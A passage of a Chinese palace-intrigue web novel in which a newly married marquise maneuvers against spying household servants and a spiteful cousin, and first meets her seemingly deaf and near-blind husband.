江元音心间冷笑,她们果然是陆氏的人。
只怕是在圣上赐婚后,陆氏安排到青松院来盯梢她的,所以对齐司延的情况并不知晓。
江元音掐准时机,迈到大厅门口,露出自己的身影来。
王嬷神色一僵,老脸忽红忽白,目光躲闪着,尴尬问道:“夫人怎的又折返了?”
她的天老爷,她刚的话被听到了吗?
江元音故意沉默了片刻,任其纠结忐忑不安,半晌后才情绪不辨地开口:“我今日要将一些嫁妆大件安置在屋内,人手不够,你们一同去帮忙吧。”
王嬷心里直打鼓,一边端详江元音的面色一边应道:“好的,夫人。”
江元音波澜不惊地望向先前要开口答话的丫鬟,“你叫什么名字?”
“奴婢……名唤清秋。”
“清秋,”江元音唤道,“青松院甚大,我逛起来没有头绪,你来领路介绍吧。”
清秋下意识朝王嬷投去探寻的目光,心虚的王嬷已不如先前硬气,不再出声阻止,心里盘算着让清秋去探探江元音的口风,看她们刚刚的话她都听见了没。
江元音一路都没什么言语,只是浅笑着跟着清秋逛了一遍青松院。
从后院厢房到齐司延的书房、药浴池等地,走走停停,近半个时辰才逛完。
一路并未看到齐司延,逛完后,她状似漫不经心地确认问道:“你对青松院很是熟络,来这侍候侯爷多久了?”
“回禀夫人,两年有余。”
江元音有些许讶然。
看来她先前的猜测错了,这六位仆妇并不是在圣上赐婚后,陆氏为了盯梢她安排在青松院的。
难道真是来照顾齐司延的?
那没能在他身旁侍候是王嬷的谎言还是另有蹊跷?
江元音心里有几分古怪,取下手腕上的玛瑙手串递给清秋,“你甚合我眼缘,可愿到我身边侍候?”
清秋受宠若惊,摆手推拒:“夫人……这太贵重了……如何使得?”
“你且好生思量,不必急着答我,便是不愿也无妨,我不会强人所难,”江元音直接将玛瑙放到清秋掌心,笑道:“收着吧。”
她向来耐心好,懂得徐徐图之。
雪燕帮腔道:“夫人待下人素来大方,我平日里没少拿赏赐,你安心收着便是。”
清秋拿着尚存着江元音余温的手串,心绪复杂地感激道:“谢夫人赏赐。”
江元音忙活了一上午,悠哉睡了个午觉,申时一刻她去往柴房看望陈招娣。
陈招娣头发凌乱,狼狈不堪地瘫坐在地上,右手成了个瘆人的血窟窿,身上处处是血迹,和昨夜在药浴池的娇媚挑衅形成鲜明的对比。
她面色惨白,满脸被吓破胆的惊恐,举起右手冲江元音嚷嚷道:“好疼……我要看大夫……快给我请大夫……”
江
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元音隔着两三步的距离,自上而下地扫视着比预料中情况更惨烈的陈招娣,轻声道:“招娣表妹,这可不是求人的态度哦。”
陈招娣的脸红红白白,目眦欲裂地瞪着江元音:“你若不管我,姑母定会生气罚你!”
姑母说了视她为亲生,在姑母心里,她远比江元音这个女儿讨喜重要。
姑母说若非圣上钦点了侯府夫人的人选,一定让她嫁给齐司延。
江元音最是惧怕姑母,从前云裳阿姐只要搬出姑母,江元音什么离谱要求都会应允,她有姑母撑腰,无需看其脸色!
江元音勾唇笑了,“那得看你有没有那个本事,能活到阿母来汴京那一日了。”
陈招娣脑海里闪过昨夜的刀光剑影,手掌被刺穿的疼痛再次袭来,她惶恐道:“你这话是什么意思?侯爷要杀了我吗?”
江元音不答反问:“你以为呢?”
陆氏没有露面?
她惧怕的竟是齐司延?
陈招娣大脑一片混乱,回忆起浴池里的齐司延,她不住摇头否认道:“他不可能杀我,他根本就是个又聋又瞎的废人,是他的随从要杀我……不是他……”
江元音眸色暗了暗。
齐司延是个又聋又瞎的废人?
她套话问道:“你那些勾栏伎俩入不了他的眼,便这般编排造谣?这些话若是传了出去,你之后便是哭着哀求我,我也救不了你。”
“你少在我面前装腔作势!”陈招娣忍不了自幼欺负的江元音这般高高在上的模样,失智般地扬声道:“侯府的人真要杀我,求你一个不受待见的新妇有何用?我要是惨死侯府,姑母定不会原谅你!”
江元音冷脸垂眼,好似看垃圾一般俯视她,淡声道:“行,那你就等着在这发烂发臭吧。”
语罢她利落转身离开,出了柴房门,在守门的下人面前换上“心疼表妹”的面孔,嘱咐他们多关照陈招娣。
做戏要做全套,免得陆氏怀疑她们的“姐妹情深”。
她懒得和陈招娣耗,反正陆氏要关其两日,陈招娣刚刚若真的哀求她,她也没法立马带她出柴房。
陈招娣有伤在身,再关一天一夜足以摧毁其往日的嚣张。
而她,得去会会她那又聋又瞎的废人夫君。
第19章 她的脸,好熟悉
除去江元音住的主屋,齐司延在青松院还有一套起居室,连着药浴池、书房等屋子。
她差人去问询,齐司延人在书房。
书房?
看来陈招娣在胡言乱语,一个瞎子如何看书?
下人道:“侯爷每日都用药膳,恐不合夫人口味,夫人不必等侯爷回主屋用晚膳。”
江元音神色淡淡,暗自思量。
昨夜新婚夜不同房,今日不曾露面,更不打算和她同桌而食,齐司延是打算让她守活寡?
她倒是不介意守活寡,只是毕竟刚成婚,他可以冷落她,她对夫君冷淡可不妥,陆氏安排的眼线还在盯梢呢。
刚想到这,一旁的王嬷便开口提议了:“侯爷近来都胃口不佳,听闻每日药膳都没动几口,不如夫人去陪侯爷用膳?有夫人在旁温声软语地劝着,侯爷或许能多吃几口。”
江元音颔首,从善如流道:“二叔母嘱咐我照料好侯爷身子,我去侍候侯爷用膳是应当的。”
她看向一旁的清秋,吩咐道:“你一会将我那份餐食送到侯爷那去吧。”
她得给陆氏演一出恭顺侄媳的戏码,也正想去会会齐司延到底是个什么情况。
“是,夫人。”
王嬷注视着江元音离开的背影,想着她对陆氏的话这般顺从,眼底是轻蔑的笑。
商贾养出来的女儿,就是比世家贵女听话好拿捏!
下一瞬她无意瞥见清秋手腕上的玛瑙手串,脸色骤变,厉声质问:“你这手串哪来的?!”
清秋吓得直哆嗦:“夫、夫人……赏的……”
“你白日里领路都同夫人说了些什么?夫人为何会赏你?”
“没什么……”清秋直摇头,惶恐道:“只是介绍了青松院的布局,旁的什么都没说!”
她连声解释:“王嬷嬷,我真的什么都没说,夫人也没问我什么,夫人只说觉得我合眼缘,见我领路辛苦,才赏了我这手串……”
王嬷冷哼一声,从她身上将手串扯下,恶声恶气地警告:“你可别忘了你的**契在谁手里,要是敢吃里扒外,有你好果子吃的!”
清秋垂眼,望着那串已被王嬷拽在手心的玛瑙手串,眼里泛着水光,嗫嚅回道:“清秋不敢。”
江元音径直去了齐司延的书房。
雪燕轻扣房门,来开门的是齐司延的侍卫曲休。
“曲休见过夫人,”他俯身作揖行礼,“不知夫人前来所为何事?”
江元音并未急着朝屋内探头探脑,温婉笑笑,“我想见见侯爷。”
“侯爷在看书,”曲休婉拒,“夫人不妨先去忙别的?”
江元音不恼,面色依旧是清浅的笑,步子却没挪动半分,“侯爷要看书要忙我绝不出声干扰,我在一旁候着便是,也快到晚膳的点了,为了身子着想,侯爷该按时用餐才是。”
曲休一脸难色。
江元音善解人意道:“你可先去问问侯爷的意思,若是侯爷不允,我便在这门口候着,直到侯爷打算用膳为止。”
“夫人稍等。”
曲休只好折返,片刻后,门口的江元音听到曲休近乎喊叫的嘹亮嗓音:“侯爷,夫人在门口,想陪侯爷看书,再一同用膳!”
江元音:……
有必要这样扯着嗓音嚎叫吗?
是怕门口的她听不见?
这般音量,她便是再退后几丈远,也清晰可闻。
江元音腹诽一番,以为齐司延要做戏拒绝,却久久没听到他发出半点声响动静。
她倏地想起昨夜,她撞见陈招娣同他在药浴池暧昧不清,他亦是不言不语,没甚反应。
这定宁侯当真古怪。
又过了几瞬,曲休去而复返,“侯爷允了,”他侧身让路:“夫人,请。”
江元音这才踏入书房,齐司延的背影映入眼帘。
他并没有坐在书案前,而是披着件狐裘坐在窗边的木椅上。
窗户开着,落日余晖洒在他的身上,为他清冷的气质镀上一层柔光。
时值初春,汴京还未转暖,他坐在窗边吹风,不冷么?
江元音倒是就此寻了个
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好的切入口,快步上前,一派关心地说道:“侯爷,把窗子关了吧,当心吹了冷风着凉染上风寒。”
然而齐司延毫无反应。
曲休出声回道:“侯爷想晒晒日头,夫人安心,我在侯爷脚边放了暖炉。”
江元音:……
晒傍晚的日头?
好别致的喜好。
她压住心里的吐槽,走至他面前,这才看清楚新婚夫君的脸。
平心而论,他生了副极好的皮囊,无论是眉眼鼻梁还是面部轮廓,都好似名画师精心雕刻,创作出一张矜贵清俊的脸。
可惜面色不佳,唇色浅淡,羸弱如岸边垂柳。
以及……太目中无人。
此刻她就站在他身旁,他依旧面朝窗外,目不斜视,将她视若空气。
他是觉得把她晾在门口不如在他跟前晾着,更能折辱她,叫她日后不敢再贴上去?
江元音并不在意,笑吟吟柔声唤道:“侯爷,可是看完书了?”
齐司延还是看着窗外,不语。
这时一旁的曲休忽地扯着嗓子,中气十足地喊道:“侯爷,夫人来了!”
江元音不可控地吓得一颤,不解望向曲休。
这唱的是哪一出?
“夫人,侯爷听力甚微……”曲休叹息着顿了顿,“夫人要同侯爷说话,需得尽力大声些。”
江元音一怔,视线下移,这才注意到齐司延膝上,双手拿着的并非书卷,而是木板。
她垂眼细看,那木板上有雕刻凸起的图案,他左手捧着木板,右手正在缓慢地摩挲着木板上的凸起。
她呼吸一滞。
这是……盲文?
难道陈招娣之前说的话竟是真的,他真的耳目不聪,又聋又瞎?!
江元音一脸震惊地望着齐司延膝上的木板,完全没注意到一直望着窗外的他在曲休大喊过后轻轻侧头看向她。
那双如墨的眸子里,有光影明明灭灭,亦是不露声色的,隐秘的惊诧。
……她的脸,好熟悉。
……他在哪里见过她?
第20章 夫人可是想坐我身上?
江元音半晌才回神,她抬眼才发现齐司延已经转过头来了。
他这样好看的面容当配一双星辰似的眸子,可他双眼涣散无神,空洞木讷。
江元音直直地望着他,却开口问曲休:“那视力呢?侯爷视力如何?”
“难视远物,”曲休惋惜叹道:“侯爷怕日后彻底看不清楚了,这才提前适应学起了盲文。”
江元音心绪有些复杂,一半愧疚一半质疑。
她先前以为昨夜的种种,无非是齐司延没瞧上她这个妻子,故意给她冷遇难堪。
她愧疚于自己的恶意揣测,又质疑他的身体是否真的这边糟糕。
“难视远物……”江元音斟酌重复着,俯身凑近,离他不过半步的距离,与之平视,扬声问道:“侯爷,可看得清我?”
便是真的,她也该摸清楚怎样的距离和音量能让他看清听清,日后也好交流。
齐司延面无表情,双目涣散。
江元音干脆蹲下身子,一手撑在木椅扶手上,仰头凑得更近,目不转睛地看着他,“侯爷?”
“……”
她继续仰头凑近,离他近乎半拳的距离,他身上的檀木香在她鼻尖弥散,她扬声唤道:“侯爷?”
江元音的注意力都在齐司延那双眼上,根本没察觉这样近的距离,她的衣摆垂落在他捧着木板的手背上,带着她身上微薄的余温,摩挲着他手背的肌肤。
她更未察觉,他平静的面色下,双手隐忍克制地抓紧木板。
两人的姿势实在过于暧昧,一旁的曲休和雪燕都默契地垂首避开。
江元音一心试探齐司延,并未生出什么旁的旖旎心思,正要继续凑近,眼看着两人就要鼻息相闻,他薄唇微启,清冷的声线微哑,唤道:“夫人?”
江元音有一瞬的错愕。
许是前边刚接受了他又聋又瞎,且从未见他开口说话,竟下意识地觉得他亦是个哑巴。
原来他会说话,声音还挺好听。
江元音点头,旋即怕动作弧度太小,他看不清,又大声应道:“是我。”
两人面面相觑,短暂的沉默。
快要贴面的距离,齐司延用力抓着木板,而江元音陷入深思。
难道要这个距离,他才能看清楚?
那的确和瞎子无异,怪不得要读盲文。
也难怪陈招娣说他是“废人”,侯府由他二叔父齐文台和二叔母陆氏掌控。
他这个身子状况,便是想当家,也有心无力吧。
这时有人敲门,下人禀告道:“药膳备好了,请问侯爷在何处用膳?”
下一瞬,曲休扯着嗓子高声重复。
饶是已有了心理准备,江元音还是被这如雷的嗓音吓了一跳。
……要侍候齐司延,得有一副金嗓子才行。
齐司延轻声道:“就在这吧。”
他呼吸微不可察地重了重,冲江元音玩味问道:“夫人可是想坐我身上?”
她再往前些许,可就要整个人扑入他怀里了。
一旁的曲休和雪燕目光不经意对上,全是默契的尴尬。
江元音心思端正,神色淡然得很,没有慌乱退避躲闪,迎着他的注视大声回道:“我只是想要侯爷能看清楚我是何模样。”
齐司延将她的镇定自若收入眼底,这样近的距离,她一说话,他便能感受到她如兰的吐气。
他并不适应这样的亲密,“……我看清楚了。”
又有人敲门,这回来的是清秋。
清秋:“夫人,晚餐给您送过来了。”
江元音这才起身,拉开与齐司延的距离,冲清秋道:“端进来吧。”
书房里除了书案还有一张空木桌,曲休驾轻就熟地将其搬至窗边,又将齐司延的木椅调转方向,对着木桌,继而冲江元音道:“夫人稍等,我这就去搬一张椅子来。”
曲休的动作一气呵成,流畅得似是平日里做过无数遍,使得江元音忍不住看向齐司延的双腿。
他不仅耳目不聪,还腿脚不便?
下人按照两人的位置在布菜,江元音觉得此时若扯着嗓子询问齐司延是否双腿有疾,是一种愚蠢的冒犯。
她不动声色地静候,在清秋为她布菜时,目光不着痕迹地扫过其手腕,眸色微深。
原本她来书房前还戴在其左手上的玛瑙手串不见了。
定又是王嬷所为。
江元音心里有了计量,摘下头上一支珠钗递给布完菜的清秋,“辛苦了。”
她知道以齐司延的听力、视力是根本不会知道她在和清秋说什么做什么的,是以也不用顾忌他在场。
清秋后退拒绝,“不辛苦,这是奴婢分内之事。”
“送你便拿着。”
清秋低眼,神色黯淡道:“夫人心善大度,但奴婢……没那个福分用这些珍稀好物。”
左右都会被王嬷夺了去,白白浪费了夫人的好意。
江元音如
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先前那般直接钗在她头上,温声浅笑道:“好看,很适合你。”
清秋鼻子发酸,又想哭又想笑,“清秋谢夫人赏赐。”
一旁齐司延的眼神有些讳莫如深,朝曲休掀了掀眼皮,无声示意。
等到清秋两人离开书房,曲休方开口问道:“端茶送饭的确是丫鬟的分内之事,夫人无需赏赐。”
“我初入侯府,青松院的仆妇数她待我……”江元音故作休顿,引人深思地戛然而止,又道:“多亏她今日领我逛了青松院,否则我还不一定能寻到侯爷的书房,一支珠钗而已,没甚大碍。”
这番话便是齐司延听不见,也会由曲休的嘴传到他耳里。
他若不是轻视她这个妻子,便会换掉青松院那些仆妇。
而若没有,要么是他毫不在意她这个妻子的处境,要么就是侯府真就是他二叔父一家说了算,他这个侯爷只是个做不了主的纸老虎。
何况她送清秋珠钗还有其他目的,远不止测试齐司延这么简单。
为了方便照顾齐司延用膳,江元音最终选择在他身边落坐,大声询问道:“侯爷可需我喂食?”
他若是要不到半拳的距离才能视物的话,是根本看不清桌上的食物的。
齐司延不语,兀自伸手探向餐食,手朝右一放,状似不经意地打翻一碗菜,又没有察觉似的往左移,打翻另一碗。
江元音望着那本就不多的精致药膳只剩下一碗汤,深呼吸,伸手边端汤边大声道:“侯爷,让我喂你喝汤吧!”
她说着倾身凑近,齐司延似是想抬手来接,却一挥手将汤打翻,汤水洒在他的双腿上。
“侯爷——!”
在曲休惊慌的声音中,江元音反应极快,掏出帕子去擦拭他腿上的汤水。
齐司延身子紧绷,抓住她没有章法乱擦,险些触碰敏感部位的手,“夫人,这是何意?”
江元音脑子第一个念头是,他的下半身未有任何反应,他难道真是瘸子?
第二个念头是,他难不成以为她是故意将汤洒在他身上?他的语气太像问责。
于是她不挣扎,只是倾身凑近到他刚刚说的能看清楚她相貌的距离,一脸无辜与担忧,扬声解释道:“我只是怕汤水烫着侯爷。”
齐司延深深望着她。
她眸光潋滟,眉目间楚楚动人,娇柔得好似初春风里摇曳动人的小白花。
……他究竟在哪见过她?
第21章 疼吗?疼才能好好记住呢
江元音长而卷翘的睫毛轻颤,担忧问道:“侯爷可有烫到?”
齐司延喜怒不辨,沉声反问:“夫人这般殷勤,可是想为你表妹求情?”
江元音并未正面回答,眸光闪烁却声音嘹亮的问:“不知招娣昨夜如何惹恼的侯爷?分明我走时侯爷与她……”
她故意收声,眉眼微垂。
陈招娣的事已在陆氏那边处理妥当了,在齐司延面前她只需要扮演好大度却也伤心的妻子。
其实昨夜如何,她大抵有数。
他这状况,陈招娣再风情万种,也是媚眼抛给瞎子看,难怪会被刺穿手掌,更何况男欢女爱之事,他或许有心无力。
思及此,她莫名松了口气。
虽然有些不地道,但她挺乐意守活寡的。
齐司延视野里是她失落的眉眼,鼻息相闻的距离,他脑海里闪过她昨夜转身离去时飞扬的嫁衣裙摆,竟鬼使神差地否认:“……我未曾碰过你表妹。”
一旁的曲休不禁讶然望向齐司延。
侯爷竟会开口解释?!
齐司延眼底亦有隐秘的失言的懊恼,他松开了江元音的手,绕回了之前的话题:“我未烫到。”
汤水是适宜入口的温热,加上他穿得并不单薄,她的处理也及时,他的确没被烫到。
考虑到他的视力,江元音每个表情都尽可能地放大,唯恐他看不清楚。
她略显浮夸地长舒一口气,“侯爷没烫着便好。”
她坐直身子,看向雪燕及时收整在一旁的洒掉的药膳,大声道:“我马上唤人去重新烹煮一份药膳。”
“不必麻烦,”齐司延淡声道:“我许久没尝过寻常菜肴,夫人可愿与我分食?”
江元音有些怀疑自己的耳朵。
他竟愿意与她分食。
难道不与她拜堂又不与她同房,真是他身体不允许,而非故意轻视怠慢?
齐司延清俊的面容看不出什么情绪,“夫人不愿意?”
江元音望着他涣散的双眸,添了几分愧疚,回神高声回道:“妾身受宠若惊。”
她探身去拿碗筷,“我来侍候侯爷吧,侯爷想尝什么?”
“有什么?”
江元音扯着嗓子依次报了菜名,可齐司延依旧没给出答案,而是让她一一试吃,再形容一番口味。
等到全部试吃形容完毕,他双目涣散表示,全部没有兴趣。
江元音觉得此情此景似曾相识,像极了她在江家装傻折磨陈蓉为她安排的教新妇规矩的嬷嬷。
她嗓子火辣辣的,快要喊废。
他莫不是在故意找事?
好在她在江家练就了强大的表情控制力,仍旧好脾气的大声提议道:“那侯爷想吃什么,我这就去吩咐后厨准备。”
“交给曲休吧,”齐司延淡声道:“我需得换身衣裳,夫人自便。”
江元音当然知道这是逐客令,场面的询问道:“可需我侍候更衣?”
齐司延摇头,又知会道:“我近日都会歇在这边,你晚上无需等我。”
江元音觉得他对自己的态度心思实在难以揣摩,但也如释重负,应声和雪燕离开。
主仆俩离开书房后,齐司延目光落在他故意打翻的药膳上,眸色阴冷:“拿去验验。”
“是,侯爷。”
江元音一路寡言回到主屋,一连喝了好几杯茶水,嗓子才缓过来些。
这时王嬷嬷进来,询问道:“侯爷可用了药膳?”
江元音嗓子疲累,实在不欲多言,点了点头。
送去的药膳虽都被打翻了,但齐司延有吩咐曲休重新准备,归根结底是吃了的。
王嬷满意笑笑,又问:“侯爷今夜可会回主屋歇息?”
江元音摇头。
王嬷接着嘱咐道:“夫人早些休息,明日清晨记得去给叔祖母请安。”
江元音颔首。
今日去给陆氏敬茶请安时,陆氏便说了这一规矩。
也真是欺她出身商贾和齐司延双亲早逝,不然陆氏可摆不了这谱。
主仆俩回了厢房,雪燕直嘀咕:“小姐,这王嬷和从前夫人身边的李嬷真真是一个嘴脸,都是狐假虎威,分明小姐才是这侯府……”思及陆氏和齐司延的态度,她底气不足地改口道:“是这青松院的女主人!”
“别急,”江元音笑得云淡风轻,“要不了多久,我会让她知道谁是主子。”
今日在齐司延面前,该演的都演过了,他不动手处理,她自有后招。
次日,江元音洗漱完毕,去静怡轩给陆氏请安。
陆氏仍是那副高高在上的模样,睥睨看她,不怎么言语,敷衍的应了两声。
江元音毫不在意,不忘替陈招娣刷刷存在感,请示道:“侄媳表妹在柴房已思过两日,昨日侄媳前去探视,她已深刻反省不敢再犯,二叔母能否允许侄媳去领她出柴房?”
陆氏尚未出声,一道轻快的女声传来。
“母亲不是说了等堂哥完婚了便着手准备我与子枫哥哥的亲事吗?为何……”
随着步子迈入屋内,声音戛然而止。
江元音循声看去,同一穿着浅粉色衣裙的少女四目相对。
少女不客气的打量她,问道:“你便是我堂嫂**?”
江元音噙着浅淡的笑,应声后问:“不知妹妹如何称呼?”
“齐婧涵,”她冷冰冰
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的说完,没多看江元音一眼,径直朝主位的陆氏走去,换上撒娇的口吻,“母亲到底何时……”
陆氏急忙瞪了她一眼,制止她继续说下去。
齐婧涵不得不止声,跺脚立在陆氏跟前,不爽扯着手中的帕子,埋怨地望向江元音,无声催促:碍事精,还不快走?
江元音低眉敛目,一副接收不到的模样。
既然齐婧涵快要出嫁,那在侯府也待不久了,日后鲜少有打交道相处的机会。
她理她作甚?
陆氏清了清嗓子,冲江元音道:“你不是急着接你表妹出柴房吗?这就去吧。”
江元音福身:“谢二叔母,侄媳告退。”
她全然不在意陆氏母女俩的冷眼,一派温婉乖顺地离开。
齐婧涵要议亲却不许她旁听,其中想必有些隐情,只是此刻不是细究的时机,她径直去了柴房。
如她所料,隔了一日,陈招娣病恹恹的,再无昔日的嚣张的气焰。
她两日未进食,已没什么气力,晚上在这柴房冻得瑟瑟发抖,也幸亏是天冷,被刺穿的手才未溃烂,但到底没能包扎处理,已经肿胀发脓,神经拉扯得整个手臂都隐隐作痛。
瞅见江元音,她似是看到了救星,仰着头虚弱地问:“你真的……能做主放我出去?”
即便不信被侯门如此轻视的江元音能有话语权,但她如牲畜一般被关了两日,除了江元音,再没有见到半个人影。
她是她唯一的希望!
江元音俯视她,轻声道:“那得看你求人的态度了。”
“噢,提醒你一句,这可是你最后的机会了,”她漫不经心地掀了掀眼皮,“你要还是昨日那般态度,我可不会再管你。”
陈招娣哪还敢叫嚣,跪爬到江元音脚边,求饶道:“从前都是我不好,表姐莫同我一般计较,求求表姐救我出去,我不要死在这里……呜呜呜,我的手好疼……”
江元音扬唇,眼底却是一片瘆人的冰冷,“疼吗?”
她抬脚踩住陈招娣肿胀的手,听着其撕心裂肺的惨叫,记忆飘回了幼年。
七岁那年,陈招娣随父母来江家做客,在江云裳失手打碎江兴德收藏的花瓶时,陈招娣一把将她推倒在碎片堆里,说是她摔碎了花瓶。
彼时是盛夏,衣衫薄,碎片轻松扎进她的臀部、大腿,尤其是下意识撑地的双手,掌心全被碎片扎破。
她那时候也觉得疼呢。
江元音无动于衷的笑,脚上的力道的重了些,声音却越发的娇柔,似是同好姐妹亲昵打趣一般,道:“疼才能好好记住呢,招娣表妹,以后可不许再轻易惹我了哦。”
第22章 难道她也重生了?
陈招娣何曾见过这样“疯”的江元音,加上两日的禁闭摧残,直接吓晕了过去。
江元音唤来两个下人,将她背回了青松院。
动静不小,满院的仆妇都迎了上来。
江元音一脸心疼和无措,着急吩咐道:“我表妹昏过去了,快去喊郎中来诊治!”
她从江家带过来的仆妇自不会想接这个活,这里可是汴京,他们压根不熟。
而原本青松院的丫鬟仆妇都默契抬眼看向王嬷,等她表态。
王嬷轻蔑扫了眼陈招娣,摆出一副为难的嘴脸,道:“她虽是夫人的表妹,但到底只是个陪嫁丫鬟,这主子是主子,丫鬟是丫鬟,咱侯府没有兴师动众为个丫鬟喊郎中登门的先例啊,更别说是这犯了事的丫鬟了,往日里下人身子不适,都是自己出府看诊的。”
她又故意道:“小的实在做不了主,怕坏了侯府的规矩,要不夫人去请示下叔祖母?”
江元音心底冷笑,面色却是一派忧心焦虑的模样,“那可有消炎止痛的药?”
“诶,”王嬷假模假样地应道,“我去寻寻,若有了立即给夫人送来。”
江元音当然知道这药王嬷定是寻不来的,不过她也不在乎。
当初她受了伤、背了锅、挨了罚,江云裳假惺惺地心疼愧疚道:“郎中说现下天气热,伤口容易发炎,阿姐若不仔细养着,怕是要留疤。”
而陈招娣笑着挽着江云裳的手,讨好道:“留疤便留疤,只要云裳表姐没事,她腿废了都没事呀。”
是啊,没事。
那陈招娣的手废掉又与她何干?
她早不是前世忍气吞声的小白花。
江元音演戏演全套,把陈招娣护送到了丫鬟们的厢房。
她待了片刻,打算离开时,见到清秋左顾右盼,着急忙慌地小跑进来。
清秋手里捧着些瓶瓶罐罐,不住地回头瞥向门口,压低声音冲江元音道:“夫人,我前几个月跌了一跤,这是我那回看诊剩下的伤药,也不知用不用得上,夫人试试?”
江元音有些讶然,望着面前瞻前顾后,目光闪烁不安,犹如受惊兔子般慌乱的人儿,心情有几分微妙。
她竟愿意为了自己冒着被王嬷发现责罚的风险来送药。
“辛苦了,”江元音看向她的腿,问道:“好全了吗?可还会疼?”
雪燕闻言伸手接过清秋手中的瓶瓶罐罐。
清秋愕然,鼻子发酸,眼眶发热,嗫嚅道:“好全了的……不疼了。”
这是第一回有人关心她生病受伤,问她疼不疼。
“那就好。”江元音抬手取下手腕上的玉镯子递给她。
清秋连连摇头,急得摆手,“清秋受之有愧,夫人赏清秋的足够多了……”
“拿着,”江元音非常娴熟地放到她掌心,沉声叮嘱提醒:“这玉镯是我的心意,我知你日常不便佩戴,那便好生收着,莫叫人瞅见了。”
她抬眼望向清秋发髻,那里已不见昨日送她的珠钗,她愈发意味深长又真情实感地说道:“你收好,便能等到合适佩戴的日子。”
清秋眼里起了水雾,泪眼朦胧地望着江元音,哽咽道:“谢夫人……”
江元音安抚地拍了拍她的手:“你去忙吧,免得被瞧见。”
她心照不宣地没有指名道姓,清秋点点头小跑着离开。
雪燕半是艳羡半是吃味的嘀咕:“小姐待清秋也太好了点吧……”
江元音眉目里染上复杂之色,“今日的确比之前那两回要来得真心,不放饵,怎
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钓得到大鱼?”
“啊?谁是大鱼?”
江元音笑笑,没有多言。
演完姐妹情深,江元音没忘记扮演对夫君关怀备至的贤妻,殷勤地去侍候齐司延用药膳。
只是不凑巧,慢了一步,曲休表示齐司延已经吃过了。
江元音暗喜,面上却遗憾的叹了口气,关心询问了下齐司延的胃口,便以不打扰为由,体贴离开。
和齐司延相处着实废嗓子,她还是很爱惜自己的嗓子的。
接下来一连数日,江元音都阴差阳错的“错过”侍候齐司延用药膳的机会。
她乐得轻松,忙着布局整顿青松院。
眼看着,也快到收网的时候。
七日后,齐司延书房。
曲休恭敬递上一份信件,躬身禀告:“侯爷,江兴德未曾纳妾,其妻育有两女,除了夫人,还有一女名叫江云裳。”
“江家盛宠江云裳,可惜半年前出了事,她只身前往泉郡失踪了,江家怕毁了名声,将此事瞒了下来,对外只认夫人一个女儿。”
齐司延垂眼扫视手中的信件,墨眸如无尽的黑夜。
……江云裳为何会去泉郡?
……难道她也重生了?
齐司延拽紧了信件,拧眉道:“把她找出来。”
曲休应道:“是,侯爷。”
语罢,他抬头,欲言又止的望向齐司延。
齐司延抬眼,“还有事?”
“夫人性子温吞没有脾气,在江家过得并不算好,如今到了侯府也……”曲休不住打量着齐司延的神色,“夫人待侯爷似是真心实意,关怀备至,侯爷仍需观望还是……?”
齐司延将信件探向烛火,意味不明地回:“急什么。”
谁知她会不会是第二个江云裳?
第23章 打的就是你
十日后。
江元音基本摸清楚了侯府的情况。
齐司延先天不足,自幼便体弱,父母在他六岁那年双双殉国,圣上念其父母军功赫赫,怜其年幼,让其六岁便承袭侯爵,命其二叔一家留在侯府照料其长大。
饶是有太医看诊,各种珍稀药材供着,他的身子亦不见好转,现如今更是耳目不聪、腿脚不便。
对外,其二叔父齐文台接手了侯府公务,对内,二叔母陆氏执掌侯府中馈。
齐文台一妻六妾,子女无数,正妻陆氏育有一儿一女。
儿子齐明宏二十有五,早已娶妻生子,其女齐婧涵和国公府四郎正在议亲。
江元音理清楚齐司延徒有侯爷之名后,对他不免生出同情。
他是个可怜人,在自己家却好似寄人篱下,只能倚仗他二叔父一家,难怪青松院的仆妇只听陆氏的。
而她前世被折磨到快要丧失五感,对他的身体状况感同身受,对他生出几分惺惺相惜来。
他只剩下一年半载的生命,只要他不伤害她,她日后会尽可能待他好些。
这日,江元音给陆氏例行请安回到青松院不久,清秋在僻静的廊道拐角慌慌张张地冒出来。
前后无人,她一眼便知清秋来意,冷静直接地问道:“怎么了?”
清秋凑近,惶恐却又豁出去了般的坚定,禀告道:“夫人挂在茶室的那两幅名师字画被王嬷拿走了!还拿走了夫人一盏六角宝相琉璃提灯!”
江元音既惊讶又不惊讶。
茶室她还未去过,那盏六角宝相琉璃提灯也一直闲置,这些东西不刻意留心,丢了她一时半会也察觉不了。
王嬷是个目光短浅的贪财俗人,近来她一直默默纵容其顺手牵羊的举动,王嬷敢对那一看便名贵值钱的琉璃提灯下手在意料之中。
只是她摆了挺多浮夸值钱的摆件做饵,等着王嬷上钩,没想到王嬷会拿茶室的风雅字画,实在与其喜好不符。
但总归鱼儿上钩了,到她整顿青松院的时机了。
江元音目光落在清秋的左脸上,瞅见一道显眼的巴掌印,蹙眉问道:“她打你了?”
清秋没想到江元音最先关心的不是字画和提灯,而是自己的脸,眸光闪烁地侧身,想藏起脸上的痕迹,“清秋没用,没能劝阻王嬷。”
江元音沉脸,“她现在在何处?”
“应当是去了后院盯工。”
江元音冷静吩咐道:“你去找侯爷,便说我有公道要请,侯爷身子不便,请侯爷派个人过来即可,”顿了顿,她加重语气承诺道:“你挨的这一巴掌,我定替你讨回来。”
清秋热泪盈眶地点头,“是,夫人,我这就去!”
江元音抬步径直朝后院走去,边走边吩咐雪燕,“你领两个人去王嬷厢房搜查一番,要找什么东西可记得清楚?”
雪燕点头:“雪燕都记得。”
“唤其余人去后院。”
“明白,小姐。”
虽说王嬷再嚣张也不至于对她这个侯府夫人动手,但她今日要整顿青松院,自然要声势浩大,人越多越好。
江元音到后院时,王嬷正指挥着两个丫鬟修理着后院的绿植,瞥见江元音来了,假笑着迎上来,打探地开口道:“夫人请安回来了?往常不是请完安都要回厢房歇息的么?今儿怎的来后院了?”
她虽没将江元音这个主子放在眼里,但刚做了亏心事,难免心虚。
本来就是趁着江元音去请安的功夫下手,也没拿多少东西,想来神不知鬼不觉,没料到会被清秋那个贱蹄子撞见。
那贱蹄子不会活腻歪了,敢去告状吧?
江元音直截了当地质问:“王嬷私自将我的嫁妆挪到何处去了?”
王嬷在心里连着骂了清秋几句,才嚷嚷道:“哎哟,冤枉啊夫人,老奴便是吃了熊心豹子胆,也不敢挪动夫人的嫁妆啊,”她摊手反问:是哪个嘴碎地跑夫人面前嚼舌根去了?”
她目光凶狠地啐道:“定是清秋那个贱蹄子吧,她先前同我闹了几句口角,转身便去夫人面前搬弄是非,夫人断不能轻易饶了她,让她带坏了侯府风气,搅得大家都不安宁!”
王嬷全然不惧,倒打一耙。
这夫人在侯府没个能倚靠仰仗的人,就是个逆来顺受,支棱不起的主。
